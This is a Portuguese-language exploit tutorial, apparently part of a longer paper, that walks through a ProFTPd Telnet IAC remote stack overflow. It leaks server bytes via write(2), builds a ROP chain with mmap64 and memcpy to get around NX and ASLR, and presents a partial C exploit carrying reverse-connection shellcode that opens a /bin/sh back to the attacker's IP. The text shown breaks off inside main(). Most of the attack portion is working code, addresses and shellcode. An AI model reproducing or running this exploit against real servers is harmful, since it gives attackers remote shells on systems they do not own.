17 e7 ff ff 8b 00 89 04 24 e8 cd e7 ff ff c7 44 | ........$......D
24 04 18 5d 0c 08 c7 04 24 03 00 00 00 89 44 24 | $..]....$.....D$
08 e8 6d 57 01 00 83 c4 2c 5b 5e 5f 5d c3 90 8d | ..mW....,[^_]...
74 26 00 c7 44 24 04 fb 08 00 00 c7 04 24 90 4e | t&..D$.......$.N
0c 08 e8 dc 60 00 00 e8 cf e6 ff ff 8b 00 89 04 | ....`...........
24 e8 85 e7 ff ff c7 44 24 04 3c 5d 0c 08 c7 04 | $......D$.<]....
24 03 00 00 00 89 44 24 08 e8 25 57 01 00 83 c4 | $.....D$..%W....
2c 5b 5e 5f 5d c3 90 8d 74 26 00 c7 44 24 04 23 | ,[^_]...t&..D$.#
09 00 00 c7 04 24 90 4e 0c 08 e8 94 60 00 00 e8 | .....$.N....`...
87 e6 ff ff 8b 00 89 04 24 e8 3d e7 ff ff c7 44 | ........$.=....D
24 04 60 5d 0c 08 c7 04 24 03 00 00 00 89 44 24 | $.`]....$.....D$
08 e8 dd 56 01 00 83 c4 2c 5b 5e 5f 5d c3 90 8d | ...V....,[^_]...
74 26 00 55 89 e5 57 56 53 83 ec 3c 8d 5d d8 89 | t&.U..WVS..<.]..
5c 24 04 c7 04 24 04 00 00 00 e8 8c f1 ff ff 85 | \$...$..........
c0 0f 88 24 03 00 00 c7 45 e0 00 00 00 00 c7 45 | ...$....E......E
e4 00 00 00 00 c7 45 d8 00 00 00 00 c7 45 dc 00 | ......E......E..
00 00 00 c7 44 24 04 67 08 00 00 c7 04 24 90 4e | ....D$.g.....$.N
0c 08 e8 8c 63 00 00 89 5c 24 04 c7 04 24 04 00 | ....c...\$...$..
00 00 e8 f4 e6 ff ff 85 c0 0f 88 54 03 00 00 c7 | ...........T....
44 24 04 6e 08 00 00 c7 04 24 90 4e 0c 08 e8 e0 | D$.n.....$.N....
5f 00 00 a1 5c e6 0d 08 c7 44 24 0c 00 00 00 00 | _...\....D$.....
c7 44 24 08 86 4e 0c 08 c7 44 24 04 00 80 00 00 | .D$..N...D$.....
8b 40 40 89 04 24 e8 f8 98 00 00 85 c0 89 c3 0f | .@@..$..........
84 a4 00 00 00 8d b6 00 00 00 00 8b 43 20 8b 70 | ............C .p
04 85 f6 74 0e bf fd 4e 0c 08 b9 07 00 00 00 f3 | ...t...N........
a6 75 56 8b 30 c7 44 24 04 7a 08 00 00 c7 04 24 | .uV.0.D$.z.....$
90 4e 0c 08 e8 fa 62 00 00 89 74 24 04 c7 04 24 | .N....b...t$...$
00 00 00 00 e8 62 e6 ff ff 85 c0 0f 88 02 02 00 | .....b..........
00 c7 44 24 04 81 08 00 00 c7 04 24 90 4e 0c 08 | ..D$.......$.N..
e8 4e 5f 00 00 c7 44 24 04 eb 4e 0c 08 c7 04 24 | .N_...D$..N....$
02 00 00 00 e8 da 54 01 00 8b 03 89 1c 24 c7 44 | ......T......$.D
24 10 00 00 00 00 c7 44 24 0c 86 4e 0c 08 c7 44 | $......D$..N...D
24 08 00 80 00 00 89 44 24 04 e8 44 96 00 00 85 | $......D$..D....
c0 89 c3 0f 85 62 ff ff ff a1 5c e6 0d 08 c7 44 | .....b....\....D
24 0c 00 00 00 00 c7 44 24 08 b1 4e 0c 08 c7 44 | $......D$..N...D
24 04 00 80 00 00 8b 40 40 89 04 24 e8 22 98 00 | $......@@..$."..
00 85 c0 89 c3 0f 84 9e 00 00 00 8b 43 20 8b 70 | ............C .p
04 85 f6 74 0e bf fd 4e 0c 08 b9 07 00 00 00 f3 | ...t...N........
a6 75 56 8b 30 c7 44 24 04 92 08 00 00 c7 04 24 | .uV.0.D$.......$
90 4e 0c 08 e8 2a 62 00 00 89 74 24 04 c7 04 24 | .N...*b...t$...$
02 00 00 00 e8 92 e5 ff ff 85 c0 0f 88 aa 01 00 | ................
00 c7 44 24 04 a9 08 00 00 c7 04 24 90 4e 0c 08 | ..D$.......$.N..
e8 7e 5e 00 00 c7 44 24 04 04 4f 0c 08 c7 04 24 | .~^...D$..O....$
02 00 00 00 e8 0a 54 01 00 8b 03 89 1c 24 c7 44 | ......T......$.D
24 10 00 00 00 00 c7 44 24 0c b1 4e 0c 08 c7 44 | $......D$..N...D
24 08 00 80 00 00 89 44 24 04 e8 74 95 00 00 85 | $......D$..t....
c0 89 c3 0f 85 62 ff ff ff a1 5c e6 0d 08 c7 44 | .....b....\....D
24 0c 00 00 00 00 c7 44 24 08 db 4e 0c 08 c7 44 | $......D$..N...D
24 04 00 80 00 00 8b 40 40 89 04 24 e8 52 97 00 | $......@@..$.R..
00 85 c0 89 c3 0f 84 9e 00 00 00 8b 43 20 8b 70 | ............C .p
04 85 f6 74 0e bf fd 4e 0c 08 b9 07 00 00 00 f3 | ...t...N........
a6 75 56 8b 30 c7 44 24 04 ba 08 00 00 c7 04 24 | .uV.0.D$.......$
90 4e 0c 08 e8 5a 61 00 00 89 74 24 04 c7 04 24 | .N...Za...t$...$
07 00 00 00 e8 c2 e4 ff ff 85 c0 0f 88 6a 01 00 | .............j..
00 c7 44 24 04 ca 08 00 00 c7 04 24 90 4e 0c 08 | ..D$.......$.N..
e8 ae 5d 00 00 c7 44 24 04 ec 5d 0c 08 c7 04 24 | ..]...D$..]....$
02 00 00 00 e8 3a 53 01 00 8b 03 89 1c 24 c7 44 | .....:S......$.D
24 10 00 00 00 00 c7 44 24 0c db 4e 0c 08 c7 44 | $......D$..N...D
24 08 00 80 00 00 89 44 24 04 e8 a4 94 00 00 85 | $......D$.......
c0 89 c3 0f 85 62 ff ff ff 83 c4 3c 5b 5e 5f 5d | .....b.....<[^_]
c3 66 90 c7 44 24 04 7c 08 00 00 c7 04 24 90 4e | .f..D$.|.....$.N
0c 08 e8 4c 5d 00 00 e8 3f e3 ff ff 8b 00 89 04 | ...L]...?.......
24 e8 f5 e3 ff ff c7 44 24 04 18 5d 0c 08 c7 04 | $......D$..]....
24 03 00 00 00 89 44 24 08 e8 95 53 01 00 83 c4 | $.....D$...S....
3c 5b 5e 5f 5d c3 90 8d 74 26 00 e8 0b e3 ff ff | <[^_]...t&......
8b 00 89 04 24 e8 c1 e3 ff ff c7 44 24 04 a4 5d | ....$......D$..]
0c 08 c7 04 24 03 00 00 00 89 44 24 08 e8 61 53 | ....$.....D$..aS
01 00 e9 0c fd ff ff 8d 74 26 00 c7 44 24 04 95 | ........t&..D$..
08 00 00 c7 04 24 90 4e 0c 08 e8 d4 5c 00 00 e8 | .....$.N....\...
c7 e2 ff ff 8b 00 89 04 24 e8 7d e3 ff ff c7 44 | ........$.}....D
24 04 3c 5d 0c 08 c7 04 24 03 00 00 00 89 44 24 | $.<]....$.....D$
08 e8 1d 53 01 00 83 c4 3c 5b 5e 5f 5d c3 90 8d | ...S....<[^_]...
74 26 00 c7 44 24 04 69 08 00 00 c7 04 24 90 4e | t&..D$.i.....$.N
0c 08 e8 8c 5c 00 00 e8 7f e2 ff ff 8b 00 89 04 | ....\...........
24 e8 35 e3 ff ff c7 44 24 04 c8 5d 0c 08 c7 04 | $.5....D$..]....
24 03 00 00 00 89 44 24 08 e8 d5 52 01 00 83 c4 | $.....D$...R....
3c 5b 5e 5f 5d c3 90 8d 74 26 00 c7 44 24 04 bd | <[^_]...t&..D$..
08 00 00 c7 04 24 90 4e 0c 08 e8 44 5c 00 00 e8 | .....$.N...D\...
37 e2 ff ff 8b 00 89 04 24 e8 ed e2 ff ff c7 44 | 7.......$......D
24 04 60 5d 0c 08 c7 04 24 03 00 00 00 89 44 24 | $.`]....$.....D$
08 e8 8d 52 01 00 83 c4 3c 5b 5e 5f 5d c3 90 8d | ...R....<[^_]...
...
Mais bytes a frente...
...
...

-------------------------------------------------------------------------------------------

Nosso código roda perfeitamente, explora a falha e conseguimos ler os binários do
ProFTPd. Parece muito fácil não é mesmo? Mas ainda temos trabalho a fazer. O próximo 
passo é descobrir offsets de outras syscalls (atravéz desses bytes que conseguios ler)
para podermos criar nossa cadeia ROP para injetarmos nosso shellcode. Como? Sabemos que
efetuar syscalls atravéz da PLT é sucesso, devido aos endereços da PLT serem estáticos;
sabemos, também, que o espaço de memória onde reside nosso buffer não é executável
(devido a NX/PaX). Então temos que efetuar uma syscall para mapear um lugar na memória
que seja permitido ler, escrever e executar; após isso devemos efetuar outra syscall para
copiar nossas instruções para a região mapeada; depois é só desviar o fluxo de execução
para lá. Então seria muito interessante utilizarmos a syscall mmap64 para mapear a memória
que precisamos e utilizar a syscall memcpy para copiar nossas instruções. Vejamos os 
manuais dessas funções:

-------------------------------------------------------------------------------------------


MMAP(2)                   Linux Programmer's Manual                  MMAP(2)
NAME         top

       mmap, munmap - map or unmap files or devices into memory
SYNOPSIS         top

       #include <sys/mman.h>

       void *mmap(void *addr, size_t length, int prot, int flags,
                  int fd, off_t offset);
       int munmap(void *addr, size_t length);

       See NOTES for information on feature test macro requirements.
DESCRIPTION         top

       mmap() creates a new mapping in the virtual address space of the
       calling process.  The starting address for the new mapping is
       specified in addr.  The length argument specifies the length of the
       mapping.

       If addr is NULL, then the kernel chooses the address at which to
       create the mapping; this is the most portable method of creating a
       new mapping.  If addr is not NULL, then the kernel takes it as a hint
       about where to place the mapping; on Linux, the mapping will be
       created at a nearby page boundary.  The address of the new mapping is
       returned as the result of the call.

       The contents of a file mapping (as opposed to an anonymous mapping;
       see MAP_ANONYMOUS below), are initialized using length bytes starting
       at offset offset in the file (or other object) referred to by the
       file descriptor fd.  offset must be a multiple of the page size as
       returned by sysconf(_SC_PAGE_SIZE).

       The prot argument describes the desired memory protection of the
       mapping (and must not conflict with the open mode of the file).  It
       is either PROT_NONE or the bitwise OR of one or more of the following
       flags:

       PROT_EXEC  Pages may be executed.

       PROT_READ  Pages may be read.

       PROT_WRITE Pages may be written.

       PROT_NONE  Pages may not be accessed.

       The flags argument determines whether updates to the mapping are
       visible to other processes mapping the same region, and whether
       updates are carried through to the underlying file.  This behavior is
       determined by including exactly one of the following values in flags:

       MAP_SHARED Share this mapping.  Updates to the mapping are visible to
                  other processes that map this file, and are carried
                  through to the underlying file.  The file may not actually
                  be updated until msync(2) or munmap() is called.

       MAP_PRIVATE
                  Create a private copy-on-write mapping.  Updates to the
                  mapping are not visible to other processes mapping the
                  same file, and are not carried through to the underlying
                  file.  It is unspecified whether changes made to the file
                  after the mmap() call are visible in the mapped region.

       Both of these flags are described in POSIX.1-2001.

       In addition, zero or more of the following values can be ORed in
       flags:

       MAP_32BIT (since Linux 2.4.20, 2.6)
              Put the mapping into the first 2 Gigabytes of the process
              address space.  This flag is supported only on x86-64, for
              64-bit programs.  It was added to allow thread stacks to be
              allocated somewhere in the first 2GB of memory, so as to
              improve context-switch performance on some early 64-bit
              processors.  Modern x86-64 processors no longer have this
              performance problem, so use of this flag is not required on
              those systems.  The MAP_32BIT flag is ignored when MAP_FIXED
              is set.

       MAP_ANON
              Synonym for MAP_ANONYMOUS.  Deprecated.

       MAP_ANONYMOUS
              The mapping is not backed by any file; its contents are
              initialized to zero.  The fd and offset arguments are ignored;
              however, some implementations require fd to be -1 if
              MAP_ANONYMOUS (or MAP_ANON) is specified, and portable
              applications should ensure this.  The use of MAP_ANONYMOUS in
              conjunction with MAP_SHARED is supported on Linux only since
              kernel 2.4.

       MAP_DENYWRITE
              This flag is ignored.  (Long ago, it signaled that attempts to
              write to the underlying file should fail with ETXTBUSY.  But
              this was a source of denial-of-service attacks.)

       MAP_EXECUTABLE
              This flag is ignored.

       MAP_FILE
              Compatibility flag.  Ignored.

       MAP_FIXED
              Don't interpret addr as a hint: place the mapping at exactly
              that address.  addr must be a multiple of the page size.  If
              the memory region specified by addr and len overlaps pages of
              any existing mapping(s), then the overlapped part of the
              existing mapping(s) will be discarded.  If the specified
              address cannot be used, mmap() will fail.  Because requiring a
              fixed address for a mapping is less portable, the use of this
              option is discouraged.

       MAP_GROWSDOWN
              Used for stacks.  Indicates to the kernel virtual memory
              system that the mapping should extend downward in memory.

       MAP_HUGETLB (since Linux 2.6.32)
              Allocate the mapping using "huge pages."  See the Linux kernel
              source file Documentation/vm/hugetlbpage.txt for further
              information.

       MAP_LOCKED (since Linux 2.5.37)
              Lock the pages of the mapped region into memory in the manner
              of mlock(2).  This flag is ignored in older kernels.

       MAP_NONBLOCK (since Linux 2.5.46)
              Only meaningful in conjunction with MAP_POPULATE.  Don't
              perform read-ahead: create page tables entries only for pages
              that are already present in RAM.  Since Linux 2.6.23, this
              flag causes MAP_POPULATE to do nothing.  One day the
              combination of MAP_POPULATE and MAP_NONBLOCK may be
              reimplemented.

       MAP_NORESERVE
              Do not reserve swap space for this mapping.  When swap space
              is reserved, one has the guarantee that it is possible to
              modify the mapping.  When swap space is not reserved one might
              get SIGSEGV upon a write if no physical memory is available.
              See also the discussion of the file
              /proc/sys/vm/overcommit_memory in proc(5).  In kernels before
              2.6, this flag had effect only for private writable mappings.

       MAP_POPULATE (since Linux 2.5.46)
              Populate (prefault) page tables for a mapping.  For a file
              mapping, this causes read-ahead on the file.  Later accesses
              to the mapping will not be blocked by page faults.
              MAP_POPULATE is supported for private mappings only since
              Linux 2.6.23.

       MAP_STACK (since Linux 2.6.27)
              Allocate the mapping at an address suitable for a process or
              thread stack.  This flag is currently a no-op, but is used in
              the glibc threading implementation so that if some
              architectures require special treatment for stack allocations,
              support can later be transparently implemented for glibc.

       MAP_UNINITIALIZED (since Linux 2.6.33)
              Don't clear anonymous pages.  This flag is intended to improve
              performance on embedded devices.  This flag is honored only if
              the kernel was configured with the
              CONFIG_MMAP_ALLOW_UNINITIALIZED option.  Because of the
              security implications, that option is normally enabled only on
              embedded devices (i.e., devices where one has complete control
              of the contents of user memory).

       Of the above flags, only MAP_FIXED is specified in POSIX.1-2001.
       However, most systems also support MAP_ANONYMOUS (or its synonym
       MAP_ANON).

       Some systems document the additional flags MAP_AUTOGROW,
       MAP_AUTORESRV, MAP_COPY, and MAP_LOCAL.

       Memory mapped by mmap() is preserved across fork(2), with the same
       attributes.

       A file is mapped in multiples of the page size.  For a file that is
       not a multiple of the page size, the remaining memory is zeroed when
       mapped, and writes to that region are not written out to the file.
       The effect of changing the size of the underlying file of a mapping
       on the pages that correspond to added or removed regions of the file
       is unspecified.

...
...

--------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------

MEMCPY(3)                    Linux Programmer's Manual                    MEMCPY(3)

NAME
       memcpy - copy memory area

SYNOPSIS
       #include <string.h>

       void *memcpy(void *dest, const void *src, size_t n);

DESCRIPTION
       The  memcpy()  function  copies  n bytes from memory area src to memory area
       dest.  The memory areas must not overlap.   Use  memmove(3)  if  the  memory
       areas do overlap.

RETURN VALUE
       The memcpy() function returns a pointer to dest.

CONFORMING TO
       SVr4, 4.3BSD, C89, C99, POSIX.1-2001.

SEE ALSO
       bcopy(3),  memccpy(3),  memmove(3), mempcpy(3), strcpy(3), strncpy(3), wmem‐
       cpy(3)

COLOPHON
       This page is part of  release  3.44  of  the  Linux  man-pages  project.   A
       description  of  the  project,  and information about reporting bugs, can be
       found at http://www.kernel.org/doc/man-pages/.

                                     2010-11-15                           MEMCPY(3)

--------------------------------------------------------------------------------------------

Simples, para chamar mmap64 você precisa de passar: o endereço do inicio do lugar a ser
mapeado; o tamanho a ser mapeado; o protocolo (permissões do que se pode fazer); flags;
file descriptor; e o offset. Então os argmentos para mmap podem ser o seguinte:

Encadeamento de argumentos para mmap em um buffer:

-> \x00\x00\x00\x10  ----> endereço de início
-> \x00\x10\x00\x00  ----> tamanho 1000 bytes (em hexadecimal)
-> \x07\x00\x00\x00  ----> 07 = protocolo que atribui permissão de ler, escrever e executar
-> \x32\x00\x00\x00  ----> flag indicando ser 32 bits
-> \xff\xff\xff\xff  ----> file descriptor (0xffffffff provavelmente não estará em uso)
-> \x00\x00\x00\x00  --|
-> \x00\x00\x00\x00    |
-> \x00\x00\x00\x00    |-> offset
-> \x00\x00\x00\x00    |
-> \x00\x00\x00\x00    |
-> \x00\x00\x00\x00  --|

Para chamar memcpy você precisa passar: o endereço de destino para onde copiar os bytes;
o endereço de origem dos bytes a serem copiados; e o tamanho do número de bytes a serem
copiados. Olhe como fica:

Encadeamento de argumentos para memcpy em um buffer:

-> \x00\x00\x00\x10  ----> endereço para onde vão os bytes
->      xxxx         ----> endereço de origem dos bytes (ainda determinaremos isso)
-> \x02\x00\x00\x00  ----> número de bytes a serem copiados (pode mudar dependendo da
                           ocasião)

Para fazermos isso temos que executar uma rotina que irá pegar os bytes do shellcode no nosso
buffer para a região executável para conseguirmos executar o código remoto. Essa rotina 
teremos que montar com os próprios binários do ProFTPd. Então o que temos que fazer é o
seguinte: mapear a memória onde podemos executar código com mmap, identificar os bytes da 
nossa rotina de cópia nos proprios binários do Proftpd, copiar os bytes para a memória
executável com memcpy, e desviar o fluxo de execução para lá. Então a rotina de cópia de 
bytes executará, e copiará nosso shellcode para o lugar certo e de lá executaremos ele.
Preciamos dessa rotina de cópia de bytes, pois não podemos esquecer que nosso shellcode está
indo no buffer em tempo de execução, então essa rotina é uma maneira de conseguirmos manipular
esses bytes em tempo de execução. Não podemos esquecer que para fazer tudo isso estamos 
utilizando Return Oriented Programming, então precisaremos de identificar bytes referentes 
as instruções "pop pop pop ret" (para podermos levar nossos argumentos das funções para o 
outro  segmento de memória) e "add esp, 20h; pop; pop" (tem o mesmo efeito de "pop pop ret"
porém em larga escala). Já sabemos o que fazer, então mãos à obra!

Da mesma maneira que conseguimos achar o endereço de write(2), podemos achar os endereços de
mmap64 e memcpy:

Na máquina a ser atacada: -------------------------------------------------------------------------

...

...
0x08053698  mktime
0x08053698  mktime@plt
0x080536a8  readdir64
0x080536a8  readdir64@plt
0x080536b8  cap_free
0x080536b8  cap_free@plt
0x080536c8  memcpy
0x080536c8  memcpy@plt  <----------- endereço de memcpy()
0x080536d8  strtoul
0x080536d8  strtoul@plt
0x080536e8  strlen
0x080536e8  strlen@plt
0x080536f8  setgrent
0x080536f8  setgrent@plt
0x08053708  futimes
0x08053708  futimes@plt

...
0x08053cc8  bind_textdomain_codeset
0x08053cc8  bind_textdomain_codeset@plt
0x08053cd8  setgid
0x08053cd8  setgid@plt
0x08053ce8  cap_set_flag
0x08053ce8  cap_set_flag@plt
0x08053cf8  snprintf
0x08053cf8  snprintf@plt
0x08053d08  kill
0x08053d08  kill@plt
0x08053d18  mmap64
0x08053d18  mmap64@plt   <----------- endereço de mmap64()
0x08053d28  getpwent
0x08053d28  getpwent@plt
0x08053d38  cap_to_text
0x08053d38  cap_to_text@plt
0x08053d48  cap_get_proc
0x08053d48  cap_get_proc@plt
0x08053d58  gethostbyname2
0x08053d58  gethostbyname2@plt
0x08053d68  argz_create_sep
0x08053d68  argz_create_sep@plt
0x08053d78  getpeername
...

...

-------------------------------------------------------------------------------------------------

Pronto sabemos que o endereço de memcpy() é 0x080536c8 e o endereço de mmap64 é 0x08053d18. 
Sabemos também que as instruções "pop pop pop ret" tem os opcodes "\x5e\x5f\x5d" e que
"add esp, 20h; pop; pop" tem opcodes "\x83\xc4\x20\x5b\x5e\x5d\xc3" (Mais uma vez deixo a cargo
do leitor descobrir de onde vem esses opcodes. Sugiro escrever uma rotina em assembly, compilar
e ver os opcodes com objdump). Apresento a vocês a nossa rotina de cópia de bytes, escrita em
assembly. Não vou entrar no mérito da rotina, para não estender esse paper, pois eu teria que 
explicar algumas coisas da arquitetura x86 e do sistema operacional utilizado (isso é mais uma 
coisa que o leitor deve estudar).

rotina de cópia de bytes: 

#0100740B     FC             CLD
#0100740C     8BF4           MOV ESI,ESP
#0100740E     BF 00010010    MOV EDI,10000100
#01007413     B9 00020000    MOV ECX,200
#01007418     F3:A4          REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
#             EB FF 	     JMP +0xFF

Então os bytes dessa rotina são: 

-> "\xfc\x8b"
-> "\xf4"
-> "\xbf"
-> "\x00\x01\x00"
-> "\x10"
-> "\xb9\x00\x02\x00\x00"
-> "\xf3"
-> "\xa4"
-> "\xeb\xff"

Pronto, agora é só pesquisar no buffer de bytes lidos do ProFTPd (que nós já conseguimos) os 
offsets dos bytes da rotina e das instruções "pop pop pop ret" e "add esp, 20h; pop; pop".
Escrevi uma função para comparar bytes de dois buffers, retornando o offset de onde começa 
a primeira ocorrência do buffer procurado, e podemos utilizar essa função para procurar os
offsets dos opcodes e saber a posição dos bytes que queremos utilizar, olhem só:

---------------------------------------------------------------------------------------------------

u_int indexOf(const unsigned char *data_buffer, const unsigned int length, 
   const unsigned char *needle, const unsigned int needlelen){
   u_int k;
   for(k=0; k < length - needlelen; k++){
      if(memcmp(data_buffer+k, needle, needlelen) == 0){
         return k;
      }
   }
}

---------------------------------------------------------------------------------------------------

Aqui segue um exemplo do uso dessa função para encontrarmos o offset dos bytes procurados e assim
podermos deduzir o endereço onde estarão esses bytes na memória do servidor:

exemplo: ------------------------------------------------------------------------------------------

      char pop3ret[]="\x5e\x5f\x5d";

      ...

	  // Trying to find Pop Ret location

      u_int index = indexOf(read_buffer, sizeof(read_buffer), pop3ret, sizeof(pop3ret)-1);
      if(index >= 0){
         p3r += (u_int) index;
         printf("\n\t [+] Pop3Ret is located at 0x%08x", p3r);
      } else {
         printf("\n\t [-] Fail! Could not find Pop3Ret!");
      }

---------------------------------------------------------------------------------------------------

Então temos os endereços das funções na PLT, temos os offsets dos bytes e dos gadgets das
instruções que queremos. Temos tudo!!! Agora é só montar nosso buffer e explorar. Para fazermos
isso devemos seguir a seguinte ordem:

-> Endereço da função
-> "pop pop pop ret" ou "add esp, 20h; pop; pop"
-> argumentos da função

Encadeando assim podemos construir nossa rotina de copia de shellcode em um espaço executável 
e assim injetarmos shellcode, burlando ASLR entre outras. Nota-se utiliarei a instrução
"add esp, 20h; pop; pop" para copiar os argumentos de mmap64(), pois são muitos argumentos
e usarei "pop pop pop ret" para memcpy(). 

Para finalizar o exemplo abaixo mostra como criar o buffer para o uso de memcpy(). Veja o
trexo de código abaixo (os comentários explicam tudo!):

ex.: -----------------------------------------------------------------------------------------

*((u_int *)(buffer+OFFSET+1+PADDING+52)) = MEMCPY;       
*((u_int *)(buffer+OFFSET+1+PADDING+56)) = p3r;                  
memcpy(buffer+OFFSET+1+PADDING+60, "\x00\x00\x00\x10", 4); //endereço do primeiro byte
*((u_int *)(buffer+OFFSET+1+PADDING+64)) = byte1_addr;
memcpy(buffer+OFFSET+1+PADDING+68, "\x02\x00\x00\x00", 4); //numero de bytes a copiar

*((u_int *)(buffer+OFFSET+1+PADDING+72)) = MEMCPY;       
*((u_int *)(buffer+OFFSET+1+PADDING+76)) = p3r;                  
memcpy(buffer+OFFSET+1+PADDING+80, "\x02\x00\x00\x10", 4); //endereço do segundo byte =
														   //endereḑo do primeiro + numero
                                                           //de bytes do primeiro
                                                           //"\x00\x00\x00\x10" + 
                                                           //"\x02\x00\x00\x00"
*((u_int *)(buffer+OFFSET+1+PADDING+84)) = byte2_addr;
memcpy(buffer+OFFSET+1+PADDING+88, "\x01\x00\x00\x00", 4);	

----------------------------------------------------------------------------------------------

Como o primeiro argumento de memcpy() é o endereço que vamos copiar os bytes, então temos que 
ir incrementando a medida que vamos copiando os bytes. Para ir concatenando corretamente
nossos bytes na posição certa. 

Então chegou a hora mais experada!!! Vejamos como que fica nosso exploit:

exploit_proftpd.c ----------------------------------------------------------------------------

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define OFFSET 4101
#define PADDING 34
#define WRITE 0x080532d8
#define MMAP64 0x08053d18
#define MEMCPY 0x080536c8

// reverse connection shellcode -> 95 bytes
// shellcode[31] to shellcode[34] is IP position
// shellcode[37] and shellcode[38] is PORT position (port 4444 by default)
char shellcode[]="\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90\x6a\x66"
                 "\x58\x6a\x01\x5b\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80"
                 "\x68\x7f\x7f\x7f\x7f\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a"
                 "\x10\x51\x50\x89\xe1\x89\xc6\x6a\x03\x5b\x6a\x66\x58\xcd\x80"
                 "\x87\xf3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31"
                 "\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"
                 "\x53\x89\xe1\xcd\x80";

char write_fd[]="\x01\x00\x00\x00";
char write_len[]="\xff\xff\x0f\x00";

char pop3ret[]="\x5e\x5f\x5d";
char large_popret[]="\x83\xc4\x20\x5b\x5e\x5d\xc3";

char junk[]="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
            "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
            "\x41\x41\x41\x41";
                                      
                                      // shellcode copy routine:
char byte1[]="\xfc\x8b";              // FC             CLD
char byte2[]="\xf4";                  // 8BF4           MOV ESI,ESP
char byte3[]="\xbf";                  // BF 00010010    MOV EDI,10000100
char byte4[]="\x00\x01\x00";
char byte5[]="\x10";
char byte6[]="\xb9\x00\x02\x00\x00";  // B9 00020000    MOV ECX,200
char byte7[]="\xf3";                  // F3:A4          REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
char byte8[]="\xa4";
char byte9[]="\xeb\xff";              // EB FF       JMP +0xFF 

char mmap64_args[]="\x00\x00\x00\x10"
                   "\x00\x10\x00\x00"
                   "\x07\x00\x00\x00"
                   "\x32\x00\x00\x00"
                   "\xff\xff\xff\xff"
                   "\x00\x00\x00\x00"
                   "\x00\x00\x00\x00"
                   "\x00\x00\x00\x00"
                   "\x00\x00\x00\x00"
                   "\x00\x00\x00\x00"
                   "\x00\x00\x00\x00";

// A function to display an error message and then exit
void fatal(char *message) {
   char error_message[100];

   strcpy(error_message, "[!!] Fatal Error ");
   strncat(error_message, message, 83);
   perror(error_message);
   exit(-1);
}

// dumps raw memory in hex byte and printable split format
void dump(const unsigned char *data_buffer, const unsigned int length) {
   unsigned char byte;
   unsigned int i, j;
   for(i=0; i < length; i++) {
      byte = data_buffer[i];
      printf("%02x ", data_buffer[i]);  // display byte in hex
      if(((i%16)==15) || (i==length-1)) {
         for(j=0; j < 15-(i%16); j++)
            printf("   ");
         printf("| ");
         for(j=(i-(i%16)); j <= i; j++) {  // display printable bytes from line
            byte = data_buffer[j];
            if((byte > 31) && (byte < 127)) // outside printable char range
               printf("%c", byte);
            else
               printf(".");
         }
         printf("\n"); // end of the dump line (each line 16 bytes)
      } // end if
   } // end for
   printf("\n");
}

u_int indexOf(const unsigned char *data_buffer, const unsigned int length, 
   const unsigned char *needle, const unsigned int needlelen){
   u_int k;
   for(k=0; k < length - needlelen; k++){
      if(memcmp(data_buffer+k, needle, needlelen) == 0){
         return k;
      }
   }
}

int main(int argc, char *argv[]) {
   int sockfd;
   struct hostent *host_info;
   struct hostent *my_host_info;
   struct sockaddr_in target_addr;
   unsigned char buffer[OFFSET+1+PADDING+336+sizeof(shellcode)+11];
   unsigned char read_buffer[0xfffff];
   u_int value = (u_int) WRITE - (u_int) 59;
   u_int p3r = value;
   u_int lpr = value;
   u_int addr = value;
   u_int byte1_addr = value;
   u_int byte2_addr = value;
   u_int byte3_addr = value;
   u_int byte4_addr = value;
   u_int byte5_addr = value;
   u_int byte6_addr = value;
   u_int byte7_addr = value;
   u_int byte8_addr = value;
   u_int byte9_addr = value;

   if(argc < 2) {
      printf("\n\t Proftpd Telnet IAC remote stack overflow exploit\n");
      printf("\t Writen by: F0rb1dd3n\n");
      printf("\n\t Usage: %s <target IP> <your IP>\n\n", argv[0]);
      exit(1);
   }

   if((my_host_info = gethostbyname(argv[2])) == NULL)
      fatal("looking up your hostname");

   memcpy(shellcode+31, my_host_info->h_addr, my_host_info->h_length);

   if((host_info = gethostbyname(argv[1])) == NULL)
      fatal("looking up hostname");

   target_addr.sin_family = AF_INET;
   target_addr.sin_port = htons(21);   
   target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);
   memset(&(target_addr.sin_zero), '\0', 8); // zero the rest of the struct

   printf("\n\t Proftpd Telnet IAC remote stack overflow exploit\n");
   printf("\t Writen by: F0rb1dd3n\n");
   printf("\n\t Target: %s\n", argv[1]);

   printf("\n\t Trying write(2) offset: 0x%08x", WRITE);

   bzero(buffer, OFFSET+1+PADDING+22);                                    // zero out the buffer
   memcpy(buffer+OFFSET, "\xff", 1);                                      // triggering the vulnerability
   memcpy(buffer+OFFSET+1, junk, strlen(junk));                           // junk
   *((u_int *)(buffer+OFFSET+1+PADDING)) = WRITE;                         // write address
   memcpy(buffer+OFFSET+1+PADDING+4, "\xcc\xcc\xcc\xcc", 4);              // crash dummy
   memcpy(buffer+OFFSET+1+PADDING+8, write_fd, strlen(write_fd));         // fd for write
   *((u_int *)(buffer+OFFSET+1+PADDING+12)) = WRITE;                      // buffer for write
   memcpy(buffer+OFFSET+1+PADDING+16, write_len, strlen(write_len));      // lenght for write
   memcpy(buffer+OFFSET+1+PADDING+20, "\x0a\x0d", 2);                     // end of buffer

   if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
      fatal("in socket");

   if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
      fatal("connecting to target server");

   write(sockfd, buffer, OFFSET+1+PADDING+22);
   bzero(read_buffer, sizeof(read_buffer));

   if(read(sockfd, read_buffer, 0xfffff) != 0) {
      printf("\n\t [+] Success on write(2)");
      close(sockfd);

      printf("\n\t [+] mmap64() is located at 0x%08x", MMAP64);
      printf("\n\t [+] memcpy() is located at 0x%08x", MEMCPY);
